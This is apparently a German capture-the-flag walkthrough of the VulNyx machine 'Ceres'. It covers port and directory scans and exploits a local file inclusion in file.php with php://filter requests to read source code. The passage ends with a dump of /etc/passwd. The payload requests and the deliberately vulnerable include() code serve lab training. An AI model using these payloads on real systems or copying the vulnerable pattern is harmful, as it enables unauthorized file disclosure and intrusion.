Ceres - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

ARP-Scan
nmap
ip
grep
awk
sort
curl
nikto
gobuster
wfuzz
dirb
Burp Suite
base64 (Decoder)
php_filter_chain_generator.py
nc
ls
cat
sudo
python
find
ss
getcap
echo
wget
ssh

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# X=$(./recon_script.sh jenk.nyx)

Analyse: Ein Shell-Skript (`recon_script.sh`) wird mit dem Parameter `jenk.nyx` ausgeführt, und seine Ausgabe wird in der Variable `X` gespeichert. Dies deutet auf einen automatisierten ersten Aufklärungsschritt hin.

Bewertung: Effiziente Methode zur Automatisierung, aber der genaue Inhalt des Skripts ist unbekannt. Die Ergebnisse müssen im Kontext interpretiert werden.

Empfehlung (Pentester): Machen Sie sich mit den Aktionen Ihrer Automatisierungsskripte vertraut. Verwenden Sie Variablen zur Speicherung wichtiger Ergebnisse wie IP-Adressen.
Empfehlung (Admin): Überwachen Sie Netzwerkaktivitäten auf Anzeichen automatisierter Scans. Nutzen Sie IDS/IPS zur Erkennung.

┌──(root㉿CCat)-[~] └─# echo $X
                          Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128

Analyse: Der Inhalt der Variable `X` wird ausgegeben und bestätigt die vom Skript ermittelte Ziel-IP-Adresse: `192.168.2.128`.

Bewertung: Bestätigt das Ergebnis des Skripts und stellt die Ziel-IP für nachfolgende Befehle bereit.

Empfehlung (Pentester): Verwenden Sie die ermittelte IP-Adresse ($IP) in den folgenden Scan-Befehlen.
Empfehlung (Admin): Sichern Sie die interne Netzwerkinfrastruktur, um die unbefugte Ermittlung von IP-Adressen zu erschweren.

Analyse: Die nächsten Abschnitte zeigen die Ergebnisse eines ARP-Scans und den Inhalt der lokalen `/etc/hosts`-Datei. Der ARP-Scan identifiziert die MAC-Adresse `08:00:27:bb:06:a0`, die wieder zu `PCS Systemtechnik GmbH` (VirtualBox) gehört und der IP `192.168.2.128` zugeordnet ist. Die `/etc/hosts`-Datei wurde angepasst, um den Hostnamen `ceres.nyx` auf die Ziel-IP aufzulösen.

Bewertung: Der ARP-Scan bestätigt die Erreichbarkeit des Ziels im lokalen Netz und gibt einen Hinweis auf die Virtualisierungsumgebung (VirtualBox). Das Anpassen der `/etc/hosts` ist wichtig, um Webdienste über ihren Hostnamen `ceres.nyx` anzusprechen.

Empfehlung (Pentester): Nutzen Sie ARP-Scans zur schnellen Identifizierung im LAN. Pflegen Sie die `/etc/hosts`-Datei mit gefundenen Hostnamen.
Empfehlung (Admin): Überwachen Sie ARP-Anfragen. Sichern Sie DNS und Netzwerksegmentierung.

 ARP-Scan

192.168.2.128	08:00:27:bb:06:a0	PCS Systemtechnik GmbH


 /etc/hosts

        127.0.0.1	localhost
        192.168.2.128   ceres.nyx

Analyse: Die folgenden Befehle dienen dazu, die IPv6-Adresse des Ziels im lokalen Netzwerk zu ermitteln und anschließend einen Nmap-Scan gegen diese IPv6-Adresse durchzuführen. Der erste Teil (`ip neigh...awk...sort`) extrahiert die Link-Local-IPv6-Adresse (`fe80::...`) des Ziels aus der Nachbarschaftstabelle, filtert dabei bekannte Adressen heraus und speichert sie in der Variable `cmd2`. Der zweite Teil (`nmap $cmd2 -6`) führt den Nmap-Scan gegen die gefundene IPv6-Adresse durch.

Bewertung: Dies ist eine clevere Methode, um IPv6-Ziele im lokalen Netz zu identifizieren und zu scannen, auch wenn keine globale IPv6-Adresse bekannt ist. Der Scan zeigt, dass auf der IPv6-Adresse `fe80::a00:27ff:febb:6a0` die TCP-Ports 22 (SSH) und 80 (HTTP) offen sind.

Empfehlung (Pentester): Vergessen Sie nicht, auch nach IPv6-Adressen und offenen Ports zu suchen, da diese manchmal andere Dienste oder Konfigurationen aufweisen können als die IPv4-Adresse.
Empfehlung (Admin): Sichern Sie Dienste sowohl auf IPv4- als auch auf IPv6-Adressen. Wenn IPv6 nicht aktiv genutzt wird, deaktivieren Sie es auf den Schnittstellen und in den Diensten, um die Angriffsfläche zu reduzieren.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441"); cmd2=$(echo $cmd | awk '{print $1}' | sort -u); nmap $cmd2 -6;
: Nmap IPv6 Scan :


 - IPv6 Adresse: fe80::a00:27ff:febb:6a0%eth0: -


Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST
Nmap scan report for ceres (fe80::a00:27ff:febb:6a0)
Host is up (0.00016s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:BB:06:A0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
:  Nmap UDP Scan :


Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST
Nmap scan report for 192.168.2.128
Host is up (0.00023s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Analyse: Ein Nmap UDP-Scan (`-sU`) wird gegen die Top 1000 UDP-Ports der IPv4-Adresse (`$IP`) durchgeführt. Die Optionen `-T5`, `-n`, `-Pn`, `--min-rate 5000` dienen der Beschleunigung.

Bewertung: Der Scan findet keine offenen oder eindeutig identifizierbaren UDP-Ports unter den Top 1000. Dies reduziert die Angriffsfläche im Vergleich zur vorherigen Maschine "Chain", wo SNMP offen war.

Empfehlung (Pentester): Konzentrieren Sie sich auf die offenen TCP-Ports (22 und 80), da der UDP-Scan keine Ergebnisse lieferte.
Empfehlung (Admin): Regelmäßige UDP-Scans durchführen, um sicherzustellen, dass keine unerwünschten Dienste laufen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
: Nmap nur offene Ports Ausgabe :


22/tcp open  ssh     OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

Analyse: Ein umfassender TCP-Scan (`-sS -sC -sV -A -p-`) wird gegen die IPv4-Adresse durchgeführt und die Ausgabe mit `grep open` gefiltert. Es werden Port 22 (SSH) mit OpenSSH 7.9p1 auf Debian 10 und Port 80 (HTTP) mit Apache 2.4.38 auf Debian gefunden.

Bewertung: Die gefilterte Ausgabe bestätigt die beiden offenen TCP-Ports, die auch im IPv6-Scan gefunden wurden, und liefert die Dienstversionen. Die OpenSSH-Version ist relativ aktuell für Debian 10, aber Apache 2.4.38 ist veraltet.

Empfehlung (Pentester): Führen Sie den vollständigen Scan ohne `grep` aus, um alle Details zu sehen. Untersuchen Sie sowohl den SSH-Dienst (Benutzerenumeration, Brute-Force, bekannte Schwachstellen für die Version) als auch den HTTP-Dienst.
Empfehlung (Admin): Aktualisieren Sie Apache auf eine neuere Version. Halten Sie OpenSSH und das Betriebssystem aktuell. Beschränken Sie den Zugriff auf SSH auf vertrauenswürdige IPs.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
: Nmap volle Ausgabe :


Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST
Nmap scan report for ceres.nyx (192.168.2.128)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 36:81:c1:3b:b8:7b:84:0f:6a:41:7b:2e:3a:01:4c:44 (RSA)
|   256 f6:7e:44:41:80:00:b0:c2:e9:03:8d:74:c3:7a:ea:0e (ECDSA)
|_  256 37:d1:5a:b4:e5:0a:77:9a:2a:7e:1a:63:7c:d4:2e:9b (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:BB:06:A0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms ceres.nyx (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die Details zu SSH (Port 22, OpenSSH 7.9p1, Host-Keys) und HTTP (Port 80, Apache 2.4.38). Sie stellt fest, dass die Webseite keinen Titel hat. Die OS-Erkennung deutet auf einen Linux-Kernel 4.x oder 5.x hin. Der Traceroute zeigt wieder eine direkte Verbindung.

Bewertung: Liefert detaillierte Informationen zu den offenen Ports und dem System. Die Apache-Version 2.4.38 ist bekannt für einige Schwachstellen, auch wenn diese nicht immer direkt ausnutzbar sind. Das Fehlen eines Titels auf der Webseite ist ungewöhnlich, aber nicht unbedingt sicherheitsrelevant.

Empfehlung (Pentester): Notieren Sie die genauen Versionen und Host-Keys. Beginnen Sie mit der Enumeration des Webservers. Versuchen Sie Standard-Logins oder bekannte Schwachstellen für OpenSSH 7.9p1 (obwohl eher unwahrscheinlich ohne gültige Benutzernamen/Passwörter).
Empfehlung (Admin): Aktualisieren Sie Apache. Halten Sie das System gepatcht. Überwachen Sie SSH-Logins.

Web Enumeration

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://$IP | grep -i "allow"
Allow: GET,POST,OPTIONS,HEAD

Analyse: Eine `OPTIONS`-Anfrage an den Webserver zeigt die erlaubten HTTP-Methoden: `GET`, `POST`, `OPTIONS`, `HEAD`. `-I` holt nur Header, `-s` unterdrückt Fortschritt, `-X OPTIONS` setzt die Methode.

Bewertung: Standardkonfiguration, keine ungewöhnlichen oder direkt gefährlichen Methoden wie `PUT` oder `DELETE` sind erlaubt. `POST` ist für Formulare etc. relevant.

Empfehlung (Pentester): Notieren Sie die erlaubten Methoden. Konzentrieren Sie sich auf Funktionen, die `GET` und `POST` verwenden.
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte HTTP-Methoden aktiviert sind.

┌──(root㉿CCat)-[~] └─# curl --verbose -I http://$IP -s
: HTTP-Header Verbose Scan :


*   Trying 192.168.2.128:80...
* Connected to 192.168.2.128 (192.168.2.128) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.128
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 12 Sep 2024 21:22:22 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Sat, 06 Mar 2021 22:57:01 GMT
< ETag: "50-5bce61e5f006d"
< Accept-Ranges: bytes
< Content-Length: 80
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host 192.168.2.128 left intact

Analyse: Eine `HEAD`-Anfrage (`-I`) mit ausführlicher Ausgabe (`--verbose`) wird gesendet. Sie bestätigt erneut den `200 OK`-Status, Apache 2.4.38, das Datum der letzten Änderung, einen ETag und eine kleine Inhaltslänge (80 Bytes).

Bewertung: Bestätigt frühere Ergebnisse. Der ETag `50-5bce61e5f006d` könnte wieder auf die Inode hinweisen. Die geringe Content-Length (80) deutet auf eine sehr einfache oder leere Index-Seite hin.

Empfehlung (Pentester): Sehen Sie sich den Quellcode der Seite an (auch wenn er kurz ist). Fahren Sie mit der Verzeichnis- und Datei-Enumeration fort.
Empfehlung (Admin): Konfigurieren Sie ETags sicher. Stellen Sie sicher, dass keine sensiblen Informationen auf der Startseite oder in den Headern preisgegeben werden.

┌──(root㉿CCat)-[~] └─# curl --verbose -I http://$IP:8080 -s
: HTTP-Header Verbose mit Port-Scan

-

Port gefunden! 80

-

* Host ceres.nyx:80 was resolved. <-- Hinweis: Ziel war 8080, Curl testet aber auch 80? Seltsames Verhalten oder Skript-Artefakt.
* IPv6: (none)
* IPv4: 192.168.2.128
*   Trying 192.168.2.128:80...
* Connected to ceres.nyx (192.168.2.128) port 80
> HEAD / HTTP/1.1
> Host: ceres.nyx
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 OK
< Date: Thu, 12 Sep 2024 21:22:24 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Sat, 06 Mar 2021 22:57:01 GMT
< ETag: "50-5bce61e5f006d"
< Accept-Ranges: bytes
< Content-Length: 80
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host ceres.nyx left intact

Analyse: Es wird versucht, eine `HEAD`-Anfrage an Port 8080 zu senden (`http://$IP:8080`). Die Ausgabe "Port gefunden! 80" und die nachfolgenden Header beziehen sich jedoch auf Port 80. Dies deutet darauf hin, dass entweder Port 8080 nicht erreichbar war und `curl` (oder ein umgebendes Skript) auf Port 80 zurückgefallen ist, oder dass die Ausgabe irreführend ist.

Bewertung: Der Versuch, Port 8080 zu untersuchen, scheint fehlgeschlagen zu sein oder liefert keine neuen Informationen. Die Ausgabe bestätigt lediglich erneut die Details von Port 80.

Empfehlung (Pentester): Verlassen Sie sich auf die Nmap-Ergebnisse bezüglich offener Ports. Wenn Nmap Port 8080 nicht als offen gemeldet hat, ist er wahrscheinlich geschlossen. Überprüfen Sie die Funktionsweise Ihrer Scan-Skripte, um sicherzustellen, dass sie wie erwartet funktionieren.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen und in der Firewall freigegeben sind.

: Nikto Scan :


- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.128
+ Target Hostname:    192.168.2.128
+ Target Port:        80
+ Start Time:         2024-09-12 23:22:08 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 50, size: 5bce61e5f006d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-09-12 23:22:22 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Der Nikto-Scan liefert mehrere Ergebnisse: 1. Bestätigung Apache 2.4.38. 2. Fehlende Header: `X-Frame-Options` und `X-Content-Type-Options` (wie bei "Chain"). 3. Keine Standard-CGI-Verzeichnisse gefunden. 4. ETag-Leak (Inode 50). 5. Hinweis auf veraltete Apache-Version (aktuell >= 2.4.54). 6. Bestätigung der erlaubten HTTP-Methoden. 7. Fund der Apache-Standarddatei `/icons/README`.

Bewertung: Die wichtigsten Funde sind die veraltete Apache-Version und die Standarddatei `/icons/README`. Die veraltete Version könnte auf bekannte Schwachstellen hindeuten (CVEs für Apache 2.4.38 prüfen!). Der Fund der README-Datei ist geringfügig, bestätigt aber eine Standardinstallation und kann manchmal auf weitere Standardpfade oder Konfigurationen hinweisen.

Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für Apache 2.4.38 auf Debian. Prüfen Sie, ob der Zugriff auf `/icons/` weitere Informationen liefert. Setzen Sie die Verzeichnis-Enumeration fort.
Empfehlung (Admin): Aktualisieren Sie Apache dringend! Entfernen oder beschränken Sie den Zugriff auf Standarddateien und -verzeichnisse wie `/icons`.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
: Gobuster Scan :

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405,500
[+] Excluded status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              [...]
[+] Expanded:                true
[+] No TLS validation:       true
[+] Follow Redirect:         false
[+] Timeout:                 10s
===============================================================
2024/09/12 23:22:45 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 80]
/image.jpg            (Status: 200) [Size: 195951]
/file.php             (Status: 200) [Size: 0]    <-- Interessant!
/secret.php           (Status: 200) [Size: 54]   <-- Sehr interessant!
===============================================================
2024/09/12 23:45:58 Finished
===============================================================

Analyse: Gobuster wird zur Verzeichnis- und Dateisuche eingesetzt. Es findet die bekannte `index.html`, ein Bild `image.jpg` und zwei PHP-Dateien: `file.php` (Größe 0) und `secret.php` (Größe 54).

Bewertung: Die beiden PHP-Dateien sind die wichtigsten Funde. `file.php` mit Größe 0 ist verdächtig (könnte Upload-Skript oder leer sein?), aber `secret.php` klingt vielversprechend und hat einen kleinen Inhalt.

Empfehlung (Pentester): Rufen Sie `secret.php` und `file.php` direkt auf, um deren Verhalten zu untersuchen. Analysieren Sie `image.jpg` auf Metadaten oder versteckte Informationen.
Empfehlung (Admin): Entfernen Sie unnötige oder verdächtige Dateien vom Webserver. Überprüfen Sie den Zweck und die Sicherheit aller PHP-Skripte.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Der direkte Aufruf von `http://192.168.2.128/secret.php` führt dazu, dass der Befehl `id` auf dem Server ausgeführt und dessen Ausgabe zurückgegeben wird. Die Datei `secret.php` enthält also Code, der `system("id")` oder etwas Ähnliches ausführt.

Bewertung: Kritischer Fund! Dies ist eine einfache Form der Remote Code Execution (RCE) als Benutzer `www-data`. Zwar ist der Befehl fest auf `id` gesetzt, aber die Existenz einer solchen Datei ist alarmierend.

Empfehlung (Pentester): Obwohl dieser Endpunkt nur `id` ausführt, bestätigt er, dass PHP-Code auf dem Server ausgeführt wird. Untersuchen Sie `file.php` weiter, da diese möglicherweise flexibler ist (z.B. für LFI oder parametrisierte RCE).
Empfehlung (Admin): Entfernen Sie `secret.php` sofort! Untersuchen Sie, wie diese Datei auf den Server gelangt ist. Überprüfen Sie das gesamte System auf weitere Backdoors oder Kompromittierungen.

blank

Analyse: Der direkte Aufruf von `http://ceres.nyx/file.php` liefert eine leere Seite ("blank"). Dies passt zur von Gobuster gemeldeten Dateigröße 0.

Bewertung: Auf den ersten Blick scheint die Datei nutzlos. Allerdings können PHP-Dateien auch ohne direkte Ausgabe Funktionalität enthalten, z.B. wenn sie Parameter erwarten oder andere Dateien inkludieren.

Empfehlung (Pentester): Versuchen Sie, Parameter an `file.php` zu übergeben (z.B. `?file=test`, `?cmd=ls`). Fuzzing nach Parametern oder Verwendung von Burp Suite zur Analyse der Anfragen könnte aufschlussreich sein.
Empfehlung (Admin): Entfernen Sie die leere Datei, wenn sie keinen Zweck erfüllt, oder sichern Sie sie ab, falls sie Parameter erwartet.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://ceres.nyx/FUZZ" --hc 404 --hh 202
 Fuzzing nach Backdoor

* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://ceres.nyx/FUZZ
Total requests: 220608

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000057:   200        4 L      7 W        80 Ch       "http://ceres.nyx/"
000045288:   200        4 L      7 W        80 Ch       "http://ceres.nyx/"
000095572:   403        9 L      28 W       274 Ch      "server-status"

Total time: 0
Processed Requests: 220608
Filtered Requests: 220605
Requests/sec.: 0

Analyse: Wfuzz wird erneut für die Verzeichnisfuzzing verwendet (`/FUZZ`), um nach weiteren versteckten Pfaden zu suchen. `--hc 404` und `--hh 202` blenden normale "Not Found"-Antworten und wahrscheinlich die Standard-Indexseite (Chars 80) aus. Es findet `/server-status`, was jedoch mit `403 Forbidden` antwortet.

Bewertung: `/server-status` ist die Standard-Statusseite von Apache. Der `403`-Status zeigt, dass der Zugriff darauf beschränkt ist (gute Sicherheitspraxis). Es wurden keine weiteren relevanten Verzeichnisse oder Backdoors über diesen Fuzzing-Versuch gefunden.

Empfehlung (Pentester): Versuchen Sie, `/server-status` von einer anderen IP oder mit anderen Headern aufzurufen (unwahrscheinlich erfolgreich). Konzentrieren Sie sich auf die Analyse von `file.php` und `secret.php`.
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf `/server-status` und ähnliche informative Endpunkte auf Administratoren oder bestimmte IPs beschränkt ist.

┌──(root㉿CCat)-[~] └─# dirb http://ceres.nyx
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Sep 12 23:46:28 2024
URL_BASE: http://ceres.nyx/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://ceres.nyx/ ----
+ http://ceres.nyx/index.html (CODE:200|SIZE:80)
+ http://ceres.nyx/server-status (CODE:403|SIZE:274)

-----------------
END_TIME: Thu Sep 12 23:46:31 2024
DOWNLOADED: 4612 - FOUND: 2

Analyse: `dirb` wird mit einer Standard-Wortliste gegen die Basis-URL ausgeführt. Es findet ebenfalls nur `index.html` (Status 200) und `server-status` (Status 403).

Bewertung: Bestätigt die Ergebnisse von Wfuzz und liefert keine neuen Pfade.

Empfehlung (Pentester): Verwenden Sie verschiedene Tools und Wortlisten für die Verzeichnis-Enumeration, um die Abdeckung zu maximieren.
Empfehlung (Admin): -

Analyse: Der folgende Abschnitt zeigt die manuelle Analyse der PHP-Dateien mit Burp Suite. Es werden zwei POST-Anfragen an `file.php` gesendet, wobei PHP-Filter im `file`-Parameter verwendet werden, um den Quellcode von `secret` (ohne `.php`) und `file` (ohne `.php`) auszulesen.

Bewertung: Dies ist ein entscheidender Schritt. Die Verwendung von Burp Suite ermöglicht präzise Anfragen und die Analyse der Antworten. Die PHP-Filter umgehen die Notwendigkeit, `.php` anzuhängen und erlauben das Lesen beliebiger Dateien, auf die `www-data` Zugriff hat.

Empfehlung (Pentester): Nutzen Sie Proxies wie Burp Suite oder OWASP ZAP, um Webanfragen zu manipulieren und Schwachstellen wie LFI gezielt zu testen. Verstehen Sie PHP-Filter und Wrapper für die LFI-Ausnutzung.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `file.php`!

: Burpsuite :

:Request:

POST /file.php?file=php://filter/convert.base64-encode/resource=secret HTTP/1.1
Host: ceres.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

:Response:

HTTP/1.1 200 OK
Date: Thu, 12 Sep 2024 22:00:46 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 88
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo=

                                                            Decoder


    system("id"); //                  /My_H1dd3n_S3cr3t
?>

Analyse: Die erste Burp-Anfrage liest den Quellcode von `secret.php` (ohne `.php`, da `file.php` dies hinzufügt). Die Base64-dekodierte Antwort zeigt den Code: ``. Dies bestätigt, warum der direkte Aufruf `id` ausführt und enthüllt einen versteckten Kommentar mit einem Pfad: `/My_H1dd3n_S3cr3t`.

Bewertung: Sehr wichtiger Fund! Der Kommentar enthüllt einen versteckten Pfad, der wahrscheinlich weitere interessante Inhalte oder Schwachstellen birgt.

Empfehlung (Pentester): Untersuchen Sie den Pfad `/My_H1dd3n_S3cr3t` auf dem Webserver (z.B. `http://ceres.nyx/My_H1dd3n_S3cr3t/`).
Empfehlung (Admin): Entfernen Sie die `secret.php`. Entfernen Sie sensible Informationen aus Kommentaren im Quellcode. Sichern Sie den Pfad `/My_H1dd3n_S3cr3t` ab oder entfernen Sie ihn, falls nicht benötigt.

:Request:

POST /file.php?file=php://filter/convert.base64-encode/resource=file HTTP/1.1
Host: ceres.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

:Response:

HTTP/1.1 200 OK
Date: Thu, 12 Sep 2024 22:00:46 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 88
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

PD9waHAKICAgIGluY2x1ZGUoJF9HRVRbImZpbGUiXS4iLnBocCIpwo/Pgo=

                                                            Decoder


    include($GET["file"].".php");
?>

Analyse: Die zweite Burp-Anfrage liest den Quellcode von `file.php` selbst. Der dekodierte Code lautet: ``. Er nimmt den Wert des GET-Parameters `file`, hängt `.php` an und übergibt das Ergebnis an `include()`. Das `$_GET` wurde korrekt zu `$GET` umgewandelt.

Bewertung: Dies bestätigt die LFI-Schwachstelle und erklärt, warum sie funktioniert. Das Anhängen von `.php` erschwert das direkte Einbinden von Dateien wie `/etc/passwd`, kann aber oft mit Techniken wie Null-Byte-Injection (obwohl in neueren PHP-Versionen oft nicht mehr möglich) oder durch Ausnutzen von PHP-Wrappern/Filtern (wie hier geschehen) umgangen werden.

Empfehlung (Pentester): Nutzen Sie diese LFI in Kombination mit dem neu entdeckten Pfad `/My_H1dd3n_S3cr3t`. Versuchen Sie, Dateien über den Pfad `http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=...` zu inkludieren.
Empfehlung (Admin): Beheben Sie die LFI durch Validierung und Sanitisierung des `file`-Parameters. Verwenden Sie Whitelisting für erlaubte Dateien.

Analyse: Basierend auf dem Fund aus Burp Suite (`/My_H1dd3n_S3cr3t`) wird nun versucht, die LFI über diesen neuen Pfad auszunutzen, um `/etc/passwd` zu lesen.

Bewertung: Logischer nächster Schritt, die entdeckten Informationen zu kombinieren.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
giuseppe:x:1000:1000:giuseppe,,,:/home/giuseppe:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

